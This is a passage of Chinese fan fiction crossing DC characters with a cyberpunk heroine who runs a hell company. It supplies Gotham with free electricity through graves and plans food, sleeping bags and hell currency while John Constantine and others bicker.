只是他太容易眼疲劳,没法长时间看书,这才以五美元一小时的价格雇佣了克雷格。
克雷格想说,哈里根先生认为互联网就像破裂的自来水管,只不过从水管里喷出来的是信息,而不是水。
他想说,哈里根先生的手机里有几百张蘑菇照片,他还想说,哈里根先生喜欢吃燕麦饼干,最后他想说,希望和他一起参加葬礼的爸爸不要死。
正在他的思路乱成一团时,韦恩先生轻轻拍了拍他的后脑勺——他都没察觉韦恩先生是什么时候站在他身后的——提醒道:“轮到你去向遗体告别了。”
克雷格走到棺材旁,瞻仰遗容,鞠躬默哀,他的手臂并在身体的两侧,双手自然的摸到了口袋,然后,他感到口袋在发烫,烫的他大叫一声。
其他人看着他,他这才反应过
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来,喃喃的说:“抱歉。”
不,发烫的是口袋里的东西,是手机。
他羞愧的离开棺材,掏出手机。
葬礼上没有充电的时间,又是在别人家里,不容易借到充电器,并且他的手机从早上开始就显示“电量低,需充电”,他本以为手机早就因为没电自动关机了。
当他打开手机时,惊讶的发现手机的电量已经满格了。
更奇怪的是,屏幕正中出现一张支付页面,提醒他,满格电量的费用为“七十五美元”。
收款方是“地狱派对公司”。
克雷格完全不明白这是怎么回事,和所有收到诈骗信息的人一样的反应,他下意识就去关支付页面,结果还真的将它关掉了。
所以……不付钱也可以?
继克雷格之后,每一个靠近棺材、瞻仰遗容的人,都露出了古怪的表情。
他们很好的克制住了,只是克雷格依旧注意到,每一个人在离开棺材后做的第一件事就是掏出手机。
很快,这件奇怪的事就上了新闻。
通过报道,克雷格这才知道,全市到处都发生了这样的事:
葬礼上、墓园里、太平间、棺材、骨灰盒……
凡是有这些东西的地方,人们都可以给任何电子产品充电。
当然,充电完毕后都会出现一张支付界面,但谁也没有付钱。
在记者的采访中,市民大方表明自己不会付款,并且,他们还反过来劝说记者也不要付款。
因为“谁知道这东西怎么来的?既然我们都收到了,那就一起免费拿吧。”
一开始,官员们提出了异议,认为这可能是一起“奇怪的国家电网泄露事故”,呼吁市民们不要凑热闹。
但在调查人员发现这些电量的来源不属于任何一家电力公司后,官员们也偷偷用上了不付钱的电力服务。
到了晚上,差不多全市的人都去过墓园了,还有很多人意犹未尽的集中在墓园里。
甚至还有一些哥谭的罪犯,比如急冻人,他把大批的设备运进了墓园,抓紧时机给每一个冷冻舱充满电,他的很多设备都要消耗大量的电力。
在韦恩庄园里,提姆也提到了,“真是一件奇怪的事,要调查吗?”
“这其中没有任何违法操作。”布鲁斯说。
因为,显然,“向全市民众免费提供电力”没有违反任何一条法律。
“不,我的意思是……”
提姆打开十部手机,依次摆在桌面上,向布鲁斯展示所有的“已付款”界面。
他继续说:“电力不是免费的,但有很多市民一分没交,我们该提醒他们充了电就应该付账吗?”
布鲁斯:“……”
在地面上的市民们“蹭电”的时候,卡喀亚也总结出了“市场调研”的结果:
她把灵魂们绑在一起,用它们的哀嚎声和地狱的风力产生电量,在让瑟拉姆发动能力,通过墓碑、棺材、骨灰盒等渠道将电力投向哥谭市。
而如此大费周章的成效是,这一天里公司只收到七百五十美元。
康斯坦丁丝毫不觉得奇怪:“那可是哥谭。”
“哥谭人就能赖账吗?”
“毕竟你们也没问过别人要不要啊。”
康斯坦丁和初堕者又争论起来。
卡喀亚却是对调查结果很满意:
通过免费的电力提供,瑟拉姆的意识像爬虫一样爬遍了哥谭市民的手机和电脑,看光了他们的搜索记录。
并且,她发现,哥谭人欢迎免费的供给。
好,这就好啊。
15.015
作为社会底层的穷比代表,康斯坦丁曾经有过很长一段居无定所的流浪生活。
那时,他睡在被废弃的水泥管道里,或者角落里可以避风的垃圾箱旁,身上盖着拆开的硬纸箱保暖。
偶尔他能捡到一两只脏兮兮的玩偶,里面的棉花可以取暖用。
他的“邻居们”分别有:寻找机会向路过的车辆卖身的青年男技,拾荒的老年人,不敢暴露身份的逃犯,曾经是中产阶级后来因为裁员、离婚、生意失败等原因破产、被没收房子、无法重新找到工作的落魄中年人……
一句话总结,都是底层。
这也是为什么一听到卡喀亚问起免费提供商品,康斯坦丁能立刻把产品表列出来。
他可能不了解富豪要什么,但他绝对了解穷比的需求。
“免费电力只是其中之一,他们很多人连手机都没有。你提供给他们睡袋和食物,他们能立刻奉你为王。”康斯坦丁滔滔不绝的讲述他流浪时的那些日子,“为了一口暖身的酒,他们能用灵魂跟你签任何契约。”
“这么简单?”卡喀亚不理解。
要知道在赛博世界,哪怕是要从底层人的口袋里掏出钱,义体和“超梦体验”两者都缺一不可。
义体,就是医学和生物技术,通过强化外骨骼系统技术、仿生技术、生化器官技术和纳米机器人技术等等,替换人体各个组织。
超梦体验,即虚拟现实,购买了“超梦体验”的人可以将自己的意识投入虚拟世界里,短暂的领略一段让他忘记现实的人生。
出于惯性思维,面对哥谭市场,卡喀亚也是一直在烦恼如何在没有外力技术支持的情况下,单枪匹马的把“义体”和“超梦”复刻出来。
——她还没有证明自己的能力,寰宇系统根本不愿意为她开放所有功能。
没想到康斯坦丁听到她的烦恼,立刻嗤笑着否决了,还告诉她:“你可以提供给底层人的东西比你想象中还要简单”。
卡喀亚很听劝,和康斯坦丁商量一会,拟定把生产部划为三个分部:
第一个部门是“食品部”,众多的灵魂在这里生产地面上的人可以食用的东西。
至于食物的生产原料……地狱里唯一贴近“食材”的生物就是乱跑的昆虫,蟑螂。
很多人都想不明白,为什么家里的蟑螂除之不尽。
因为他们根本不知道,并非完全是蟑螂的繁衍速度太快(这也是原因之一),也因为蟑螂是可以在人间和地狱之间自由穿梭的神奇生物。
当隐进黑暗里时,它们不是躲进了下水道或地板下面,而是直接躲进了地狱。
地狱里到处都是乱爬的蟑螂,比人间要多得多。
曾经食物匮乏时,便有科学家提出,解决人类的营养问题可以从昆虫入手。
比如蝗虫、蝉、蚂蚁,蟑螂、蚯蚓,或者蛆。
蟑螂脱水后干重约百分之六十到七十都是蛋白质。
赛博人从不浪费资源,现在蟑螂就是最好的食品资源。
“任何食材都可以高温杀菌。”卡喀亚说,“从现在开始,被分到食品部的三分之一的灵魂把蟑螂高温煮熟,三分之一灵魂负责把它们去壳去头去翅膀捣成酱,做成看着没那么恶心的模样,三分之一的灵魂把蟑螂酱压缩装成罐头,贴上食品标签……”
康斯坦丁沉默片刻,点了一支烟,问:“食品安全检测怎么办?如果你想把蟑螂酱投放市场,得先通过官方的食品检测吧?”
卡喀亚惊异的说:“我们当然会正常通过食品安全检测。我们的蟑螂酱——哦不,改个名字,叫它‘安全美味饱腹高蛋白质营养罐头’吧——完全是卫生健康且高品质的蛋白质营养块,人和宠物都能食用。
“对了,既然要过质检,就把食品部再分出一部分灵魂,专门负责监工、质检和生产线消毒,确保进行每一道工序之前,每一个员工都有洗手。”
康斯坦丁抬起头,想了想,叹气,抖烟灰,“行吧,连饭都吃不起的人别挑蛋白质的来源。”
第二个部门是“睡眠部”,众多灵魂在这里生产地面上的人可以使用的充电式温暖睡袋。
这些睡袋里全部塞进了特制电线。
使用者必须用该睡袋在坟墓、骨灰盒或棺材旁睡觉,才能让睡袋通电。
“不过,考虑到墓园的电都是地狱免费供应的,这个限制条件应该不影响睡袋的使用率。”卡喀亚说,“你觉得呢?”
“我觉得?……我亲眼看见一个男孩为了有一张床躺,把自己卖给了一个有着过激xp的变态,”康斯坦丁淡定的说,“坟墓总比变态友好。”
“那就这么定了。”卡喀亚打个响指,“第三个部门……”
她沉思片刻,认真的说:“这个部门负责生产一种对公司前途至关重要的东西,嘉丽,这个部门的生产者一定要精挑细选,可以让它们先进入前两个生产分部,考察它们的工作态度,之后再挑选优秀的员工送进这个部门。”
在地狱派对公司,凡是涉及到“人力资源”的事务全由嘉丽负责,员工培训、员工调动、员工入职、员工离职(这个不存在)……都由嘉丽处理。
在嘉丽入职“死后再就业中心”,成为领导的那一刻,她告诉卡喀亚,她觉得自己的意识操纵能力大幅度增进。
以前,她的力量不怎么可控,且威力范围也不算特别大。
但现在,她已经可以筛选、分配、操纵亿万灵魂员工而面不改色。
卡喀亚心里认为,这可能是寰宇巨企系统在里面发挥了力量。
瑟拉姆也是如此。
地狱的灵魂捆在一起,受罚时的惨叫和作为刑罚的飓风作为地狱发电机的情结能源后,是瑟拉姆的能力将这些电力投入哥谭市。
她同样感到自己的能力被增进了,从“单个手机”“单个电视”的投入变成了“可以投入到全市”的影响。
“好的,但是咔咔,这个部门要生产什么?”嘉丽问。
卡喀亚微微一笑,“当然是‘赠品’,我们的睡袋和食物都是免费赠送的,不再加点赠品怎么利于公司以后的发展?”
“赠品?”
“别卖关子了。”康斯坦丁催促。
卡喀亚点点头,说:“这个部门只负责生产地狱货币。有句话曾经说,谁掌握了铸币权,谁就掌握了一切。”
“我们要生产属于地狱的货币,再让它像美元一样流通起来。”
“同时,我们还要生产地狱透支卡,
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放进赠品里一起送出。”
不知不觉,香烟从康斯坦丁的指尖滑下去。
虽然他不是商人,但也不是傻瓜,顺着卡喀亚的话稍微思考,便引发无数惊骇的联想。
卡喀亚不在乎,拍了拍嘉丽的肩膀,强调道:“所以,你明白吗?我绝不允许这个分部的生产线上出现不完美的残次品,或从中作梗、自取自窃的小偷。”
嘉丽认真的点点头。
灵魂一旦被嘉丽在“死后再就业中心”记录后,就会自动变成地狱派对公司的“契约资产”。
地狱派对公司提供给它们工作,所以,作为感激,它们要偿还公司十亿美元。
别误会,它们不是奴隶,只是出于获得劳动机会的感激之情,自愿背负公司的债务罢了。
可如果这些灵魂进入“铸币部”工作,很可能会为了还债,异想天开的走向“偷窃公司资产”的歪路。
这一点,是绝对需要提防的。
目前让卡喀亚为难的是:如果这群亡灵员工胆敢以非法手段侵害公司的合法利益,她该用什么办法进行正当防卫。
这群灵魂已经是死人了,本身又早在地狱里饱受折磨,不像活人有那么多顾虑。
什么借贷房贷后代终身债务的对它们都毫无意义,也不能让它们再死一次,任何现有的追责手段对它们也都没什么威慑力。
可见“亡灵员工”也不是这么好用的……
卡喀亚不禁扶额:真是伤脑筋啊…到底如何才能把荒坂集团先进的加班制度,引入地狱这个懒惰摆烂的地方呢……?
她一边思考,一边打开寰宇系统,打算在哥谭市建立几个物流据点。
有了产品,就必须建立让产品从地狱运输到人间的渠道,为此,“物流中心”必不可少。
“哎?没办法?”卡喀亚脱口问,“怎么回事?我不能从地狱建立通往哥谭市的物流站点?”
初堕者不客气的笑了,“看来你终于意识到了。”
“……终于意识到?”
康斯坦丁捡起地上的烟头,弹了弹烟灰,这才说:“虽然你的规划很好,但地狱到人间有限制,就连路西法离开地狱,都要先解除禁锢。电力这种东西只是纯能量,但你生产的东西都是地狱的产物,轻易可带不出去。”
卡喀亚:“你们也不早说?”
“看你这么自信,我们以为你早就知道。”康斯坦丁无耻的摊手。
卡喀亚在脑内打开“地狱管理系统”,按关键词筛选一番,了解了现在的情况:
地狱一共有九层,她在最底层。
按照最容易想到的办法,就是她先后打败除了路西法外的地狱六大领主,打通九层地狱,再打造类似“太空电梯”的“地狱电梯”,让物流从九层地狱到哥谭市畅通无阻。
但是这需要很多时间,肯定不能在八天之内解决,何况运输只是一个环节,后续运营还需要时间。
她需要最快的方法建立一条捷径般的运输渠道。
根据系统提供的信息,卡喀亚确定了当前可行的解决方案。
她一边往外走,一边淡定的说:“行,嘉丽,瑟拉姆,你们继续工作,我去把这点小事处理掉。克鲁利,麻烦你带路。”